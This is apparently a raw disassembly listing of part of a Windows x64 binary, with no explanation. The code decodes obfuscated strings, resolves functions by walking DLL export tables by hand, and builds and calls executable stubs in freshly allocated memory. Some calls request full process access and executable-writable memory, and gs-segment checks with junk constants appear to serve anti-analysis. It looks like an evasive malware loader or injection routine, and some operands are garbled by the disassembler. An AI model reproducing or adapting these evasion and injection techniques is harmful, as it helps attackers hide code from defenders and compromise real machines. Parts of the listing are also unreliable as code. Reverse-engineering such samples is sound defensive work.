movdqu xmmword [rbp + 0xc88], xmm0
mov qword [rbp + 0xc58], r12
mov qword [rbp + 0xc60], rbx
mov byte [rbp + 0x290], 0xa3
mov byte [rbp + 0x291], 0x5c
mov byte [rbp + 0x292], WSAGetLastError
mov byte [rbp + 0x293], Ordinal_200
mov byte [rbp + 0x294], reloc.WS2_32.dll_send
mov byte [rbp + 0x295], Ordinal_211
mov byte [rbp + 0x296], 0xaf
mov byte [rbp + 0x297], 0x47
mov byte [rbp + 0x298], 0xb4
mov byte [rbp + 0x299], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x29a], 0xa2
mov byte [rbp + 0x29b], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x29c], Ordinal_41
xor eax, eax
mov byte [rbp + 0x29d], al
mov r8, rbx
movabs rsi, 0x8080808080808081
movabs r9, 0xcefea3c31
lea r10d, [rax + 0xd]
mov r14d, 0xfec33fb5
mov r15d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x290], dil
inc r8
add r9, r14
add r10, 0xd
movabs rax, 0x19dfd47862
cmp r9, rax
jb 0x1400459e1
mov byte [rbp + 0x29d], bl
mov byte [rbp + 0x250], 0xa6
mov byte [rbp + 0x251], 0x75
mov byte [rbp + 0x252], 0x5a
mov byte [rbp + 0x253], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x254], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x255], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x256], 0x9e
mov byte [rbp + 0x257], 0x58
mov byte [rbp + 0x258], 0xb2
xor eax, eax
mov byte [rbp + 0x259], al
mov r8, rbx
lea r9d, [rax + 9]
movabs r10, 0x8f4dd3d5d
movabs r11, 0x11e9ba7aba
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x250]
xor dil, r8b
mov byte [rbp + r8 + 0x250], dil
inc r8
add r10, r14
add r9, 9
cmp r10, r11
jb 0x140045ab0
mov byte [rbp + 0x259], bl
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x250]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140045d40
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140045d40
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140045d40
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140045d40
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov esi, dword [rax + 0x24]
add rsi, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, rbx
mov r14d, dword [rax + 0x18]
test r14, r14
je 0x140045d40
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x290]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140045bb3
inc rax
test edi, edi
jne 0x140045b9e
test r8d, r8d
je 0x140045bc5
inc rdx
cmp rdx, r14
jb 0x140045b8d
jmp 0x140045d40
movzx eax, word [rsi + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140045d40
mov r15d, dword [rdx + 4]
test r15d, r15d
js 0x140045d40
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1400b9bec
or dword [rbp + 0x1e5f4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1d270]
call fcn.14005219c
lea rcx, [rbp + 0x1d270]
call fcn.140051490
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
mov rdi, rbx
lea rcx, [rbp + 0x1d270]
call fcn.140051490
mov eax, eax
mov qword [rbp + rdi*8 + 0x28510], rax
inc rdi
cmp rdi, 0x200
jl 0x140045c56
mov r8d, 0x1000
lea rdx, [rbp + 0x28510]
mov rcx, rsi
call fcn.1400e40e0
mov dword [0x140119a74], r15d
lea rdi, [r14 + rsi]
movsd xmm0, qword [0x140119a70]
movsd qword [rdi], xmm0
movzx eax, word [0x140119a78]
mov word [rdi + 8], ax
mov al, byte [0x140119a7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xdac], ebx
lea r9, [rbp + 0xdac]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov r14d, 0x1000
mov edx, r14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xc58]
lea r8, [rbp + 0xc68]
mov edx, 0x1fffff
lea rcx, [rbp + 0xbf8]
call rdi
mov edi, eax
lea r9, [rbp + 0xdac]
mov r8d, dword [rbp + 0xdac]
mov edx, r14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r14d
xor edx, edx
mov rcx, rsi
call fcn.1400e4780
mov edx, listen
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140119a74], ebx
test edi, edi
js 0x140045d52
mov rax, qword [rbp + 0xbf8]
inc rax
test rax, 0xfffffffffffffffe
jne 0x140045d61
mov qword [rbp + 0xbf8], rbx
mov ecx, r12d
call fcn.1400396e4
mov r12d, 1
mov esi, 0xdb9fe8e7
movabs r15, 0x2aaaaaaaaaaaaaab
mov r14d, 0xdeadbeef
mov rax, qword [rbp + 0xbf8]
inc rax
test rax, 0xfffffffffffffffe
jne 0x140046094
mov rax, qword gs:[0xd]
cmp rax, rsi
jne 0x140045eae
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x140045db6
xor rdi, 0x232356cd
mov rcx, rdi
imul rcx, r10
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd38], rdi
mov rax, r8
or rax, r14
xor rax, rcx
mov qword [rbp + 0xd40], rax
xor rcx, rsi
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd48], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
and rdx, rax
mov rcx, qword [rbp + 0xd40]
and rcx, rdx
mov rax, qword [rbp + 0xd38]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140046b27
add edi, r12d
cmp edi, 7
jl 0x140045e46
movdqa xmm0, xmmword [0x140109ea0]
movdqu xmmword [rbp + 0x6a8], xmm0
mov byte [rbp + 0x6b8], pe_nt_image_headers64
mov byte [rbp + 0x6b9], 0x77
mov byte [rbp + 0x6ba], 0x64
mov byte [rbp + 0x6bb], 0x67
mov byte [rbp + 0x6bc], Ordinal_79
mov byte [rbp + 0x6bd], sendto
mov byte [rbp + 0x6be], 0x3d
xor eax, eax
mov byte [rbp + 0x6bf], al
mov rdi, rbx
mov r14d, 0xfec33fb4
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x6a8]
lea rcx, [rbp + 0x6a8]
call fcn.140050f10
xor al, dil
mov byte [rbp + rdi + 0x6a8], al
add rdi, r12
cmp rdi, 0x17
jb 0x140045f00
mov byte [rbp + 0x6bf], bl
mov r8d, r12d
xor edx, edx
lea rcx, [rbp + 0x6a8]
call fcn.140039734
mov rax, qword gs:[0xd]
cmp rax, rsi
jne 0x140046094
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9, rsi
mov r14d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, rsi
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r15
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r14
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x140045f6f
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd38], rax
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r14d, 0xdeadbeef
or rax, r14
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd40], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd48], rdi
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
xor rdx, rax
mov rcx, qword [rbp + 0xd40]
xor rcx, rdx
mov rax, qword [rbp + 0xd38]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140046b32
add edi, r12d
cmp edi, 5
jl 0x14004602c
mov rax, qword gs:[0xd]
mov r14d, reloc.WS2_32.dll_recv
cmp rax, rsi
jne 0x1400461db
mov rdi, rbx
mov r8d, r14d
movabs rsi, 0xc9120f8b6b5ff569
mov r9d, 0xdb9fe8f7
sub r8d, r12d
sub r9, r12
mov rax, r15
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140046102
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, rsi
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x1400460c2
mov rax, rdi
xor rax, rdi
mov esi, 0xdb9fe8e7
xor rax, rsi
mov qword [rbp + 0xd38], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd40], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, rsi
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd48], rax
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
or rdx, rax
mov rcx, qword [rbp + 0xd40]
or rcx, rdx
mov rax, qword [rbp + 0xd38]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140046b3d
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14004616f
movdqa xmm0, xmmword [0x140109f60]
movdqu xmmword [rbp + 0x2d0], xmm0
xor eax, eax
mov byte [rbp + 0x2e0], al
mov rdi, rbx
mov r15d, 0xfec33fb4
mov qword [rsp + 0x20], r15
mov r9, r14
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2d0]
lea rcx, [rbp + 0x2d0]
call fcn.140050cf4
xor al, dil
mov byte [rbp + rdi + 0x2d0], al
add rdi, r12
cmp rdi, r14
jb 0x1400461fc
mov byte [rbp + 0x2e0], bl
lea rcx, [rbp + 0x2d0]
call fcn.140039bac
mov rax, qword gs:[0xd]
cmp rax, rsi
movabs r15, 0x2aaaaaaaaaaaaaab
jne 0x140046396
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9, rsi
mov r13d, 0xffafffef
mov ecx, r8d
mov rdx, rsi
shl rdx, cl
mov eax, 0x232356cd
sar rax, cl
or rdx, rax
xor r10, rdx
mov rax, r15
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r13
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x14004626c
mov rcx, rdi
xor rcx, r10
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd38], rax
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd40], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd48], rdi
mov edi, ebx
mov r13d, 0x9e0d9526
movsxd rcx, edi
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
xor rdx, rax
mov rcx, qword [rbp + 0xd40]
xor rcx, rdx
mov rax, qword [rbp + 0xd38]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140046b48
add edi, r12d
cmp edi, 5
jl 0x14004632e
lea rdi, [rbp + 0x28400]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x28400]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140046716
mov rax, qword gs:[0xd]
cmp rax, rsi
jne 0x1400464e4
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x1400463e7
xor rdi, 0x232356cd
mov rcx, rdi
imul rcx, r10
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd38], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd40], rax
xor rcx, rsi
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd48], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
and rdx, rax
mov rcx, qword [rbp + 0xd40]
and rcx, rdx
mov rax, qword [rbp + 0xd38]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140046b53
add edi, r12d
cmp edi, 7
jl 0x14004647c
movdqa xmm0, xmmword [0x140109eb0]
movdqu xmmword [rbp + 0x940], xmm0
movdqa xmm1, xmmword [0x14010a010]
movdqu xmmword [rbp + 0x950], xmm1
mov byte [rbp + 0x960], 0xc0
mov byte [rbp + 0x961], 0xed
xor eax, eax
mov byte [rbp + 0x962], al
mov r8, rbx
mov esi, 0xfec33fb4
lea r10d, [rax + 0x22]
movabs r9, 0x21d5ee760a
movabs r11, 0x8080808080808081
mov r15d, 0xfec33fb5
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x940], dil
add r8, r12
add r9, r15
add r10, 0x22
movabs rax, 0x43abdcec14
cmp r9, rax
jb 0x140046540
mov byte [rbp + 0x962], bl
mov r8d, r12d
xor edx, edx
lea rcx, [rbp + 0x940]
call fcn.140039734
mov rax, qword gs:[0xd]
mov esi, 0xdb9fe8e7
cmp rax, rsi
movabs r15, 0x2aaaaaaaaaaaaaab
jne 0x140046716
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9d, esi
mov ebx, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, rsi
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r15
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x1400465f0
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd38], rax
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd40], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd48], rdi
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
xor rdx, rax
mov rcx, qword [rbp + 0xd40]
xor rcx, rdx
mov rax, qword [rbp + 0xd38]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140046b5e
add edi, r12d
cmp edi, 5
jl 0x1400466ae
mov rax, qword [rbp + 0x50]
mov edi, dword [rax + 0x50]
mov rax, qword [rbp + 0xbf8]
mov qword [rsp + 0x60], rax
cmp qword [0x14011d6a0], rbx
jne 0x140046753
mov ecx, 0x26b0
call fcn.1400c8b98
test rax, rax
je 0x140046753
mov qword [rax], rbx
mov qword [rax + 8], 0x19c
mov qword [0x14011d6a0], rax
mov qword [rbp + 0xc08], rbx
mov qword [rbp + 0xe58], rdi
movdqa xmm0, xmmword [0x14010a150]
movdqu xmmword [rbp + 0x690], xmm0
mov byte [rbp + 0x6a0], 0x50
mov byte [rbp + 0x6a1], 0x61
mov byte [rbp + 0x6a2], Ordinal_217
mov byte [rbp + 0x6a3], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x6a4], Ordinal_211
mov byte [rbp + 0x6a5], Ordinal_41
mov byte [rbp + 0x6a6], WSAGetLastError
xor eax, eax
mov byte [rbp + 0x6a7], al
mov rdi, rbx
movabs r15, 0xca8495ff84371
mov qword [rsp + 0x20], r15
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x690]
lea rcx, [rbp + 0x690]
call fcn.1400513dc
xor al, dil
mov byte [rbp + rdi + 0x690], al
add rdi, r12
cmp rdi, 0x17
jb 0x1400467b7
mov byte [rbp + 0x6a7], bl
or rdx, 0xffffffffffffffff
mov rsi, qword [0x14011d6a0]
test rsi, rsi
je 0x1400468d0
mov r15, qword [rsi]
mov rcx, qword [rsi + 8]
cmp r15, rcx
jl 0x140046882
lea rax, [rcx + rcx*2]
lea r13, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, r14
cmovb rcx, rdx
call fcn.1400c8b98
mov r14, rax
test rax, rax
je 0x1400468c6
mov qword [rax], r15
mov qword [rax + 8], rdi
mov rdi, qword [0x14011d6a0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r13
call fcn.1400e40e0
lea r8, [r13 + 0x10]
xor edx, edx
mov rcx, rsi
call fcn.1400e4780
mov rcx, rdi
call fcn.1400c8a74
mov qword [0x14011d6a0], r14
mov rsi, r14
lea rax, [rbp + 0x690]
mov qword [rbp + 0xde8], rax
mov qword [rbp + 0xdf0], Ordinal_33
mov byte [rbp + 0xdf8], bl
lea rax, [r15 + r15*2]
movups xmm0, xmmword [rbp + 0xde8]
movups xmmword [rsi + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xdf8]
movsd qword [rsi + rax*8 + 0x20], xmm1
lea rax, [r15 + 1]
mov qword [rsi], rax
movabs r15, 0xca8495ff84371
mov byte [rbp + 0x60], 0x7a
mov byte [rbp + 0x61], 0x5c
mov byte [rbp + 0x62], 1
mov byte [rbp + 0x63], 0x84
mov byte [rbp + 0x64], 0x90
mov byte [rbp + 0x65], Ordinal_30
mov byte [rbp + 0x66], 0xe5
mov byte [rbp + 0x67], 0xe3
mov byte [rbp + 0x68], 0x88
xor eax, eax
mov byte [rbp + 0x69], al
mov rdi, rbx
mov qword [rsp + 0x20], r15
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.14005127c
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x1400468fc
mov byte [rbp + 0x69], bl
mov rsi, qword [0x14011d6a0]
test rsi, rsi
je 0x140046a01
mov r15, qword [rsi]
mov rcx, qword [rsi + 8]
cmp r15, rcx
jl 0x1400469bf
lea rax, [rcx + rcx*2]
lea r13, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400c8b98
mov r14, rax
test rax, rax
je 0x140046a01
mov qword [rax], r15
mov qword [rax + 8], rdi
mov rdi, qword [0x14011d6a0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r13
call fcn.1400e40e0
lea r8, [r13 + 0x10]
xor edx, edx
mov rcx, rsi
call fcn.1400e4780
mov rcx, rdi
call fcn.1400c8a74
mov qword [0x14011d6a0], r14
mov rsi, r14
lea rax, [rbp + 0x60]
mov qword [rbp + 0xde8], rax
mov eax, 0xa
mov qword [rbp + 0xdf0], rax
mov byte [rbp + 0xdf8], bl
lea rax, [r15 + r15*2]
movups xmm0, xmmword [rbp + 0xde8]
movups xmmword [rsi + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xdf8]
movsd qword [rsi + rax*8 + 0x20], xmm1
lea rax, [r15 + 1]
mov qword [rsi], rax
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
mov r12d, 3
test rax, rax
je 0x140046a99
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140046a99
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140046a99
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140046a99
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov esi, dword [rax + 0x24]
add rsi, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, rbx
mov r14d, dword [rax + 0x18]
test r14, r14
je 0x140046a99
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x690]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140046a88
inc rax
test edi, edi
jne 0x140046a73
test r8d, r8d
je 0x140046b69
inc rdx
cmp rdx, r14
jb 0x140046a62
mov r15d, ebx
mov rdi, qword [0x14011d6a0]
mov r12, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r13, [rcx*8 + 0x10]
mov r14d, ebx
test r12, r12
jle 0x140046d39
lea rsi, [rdi + 0x10]
movups xmm1, xmmword [rsi]
movsd xmm0, qword [rsi + 0x10]
movsd qword [rbp + 0xdf8], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x140046d26
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140046d26
mov al, byte [rbp + 0xdf8]
test al, al
jne 0x140046ced
xor edx, edx
call fcn.1400e4780
jmp 0x140046d26
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
movzx eax, word [rsi + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140046a99
mov r15d, dword [rdx + 4]
test r15d, r15d
js 0x140046a99
mov r9d, 4
mov r8d, 0x3000
mov r13d, 0x1000
mov edx, r13d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1400b9bec
or dword [rbp + 0x1f984], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1e600]
call fcn.14005219c
lea rcx, [rbp + 0x1e600]
call fcn.140051490
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
mov rdi, rbx
lea rcx, [rbp + 0x1e600]
call fcn.140051490
mov eax, eax
mov qword [rbp + rdi*8 + 0x29510], rax
inc rdi
cmp rdi, 0x200
jl 0x140046bfe
mov r8, r13
lea rdx, [rbp + 0x29510]
mov rcx, r14
call fcn.1400e40e0
mov dword [0x140119a74], r15d
lea rdi, [rsi + r14]
movsd xmm0, qword [0x140119a70]
movsd qword [rdi], xmm0
movzx eax, word [0x140119a78]
mov word [rdi + 8], ax
mov al, byte [0x140119a7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xdb0], ebx
lea r9, [rbp + 0xdb0]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xe58]
mov r8, r12
lea rdx, [rbp + 0xc08]
mov rcx, qword [rsp + 0x60]
call rdi
mov r15d, eax
lea r9, [rbp + 0xdb0]
mov r8d, dword [rbp + 0xdb0]
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r13
xor edx, edx
mov rcx, r14
call fcn.1400e4780
mov edx, listen
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140119a74], ebx
jmp 0x140046a9c
cmp al, 1
jne 0x140046d26
mov rdx, rcx
lea rcx, [rbp + 0xeb0]
call fcn.140051adc
xor edx, edx
lea rcx, [rbp + 0xeb0]
call fcn.140052068
lea rcx, [rbp + 0xeb0]
call fcn.140051ff8
lea rcx, [rbp + 0xeb0]
call fcn.140005ad8
inc r14d
add rsi, 0x18
movsxd rax, r14d
cmp rax, r12
jl 0x140046ac6
mov r8, r13
xor edx, edx
mov rcx, rdi
call fcn.1400e4780
mov rcx, rdi
call fcn.1400c8a74
mov qword [0x14011d6a0], rbx
test r15d, r15d
jns 0x140046d60
mov qword [rbp - 0x18], rbx
jmp 0x140046d74
mov rcx, qword [rbp + 0xc08]
mov qword [rbp - 0x18], rcx
test rcx, rcx
jne 0x1400470db
mov rax, qword gs:[0xd]
mov esi, 0xdb9fe8e7
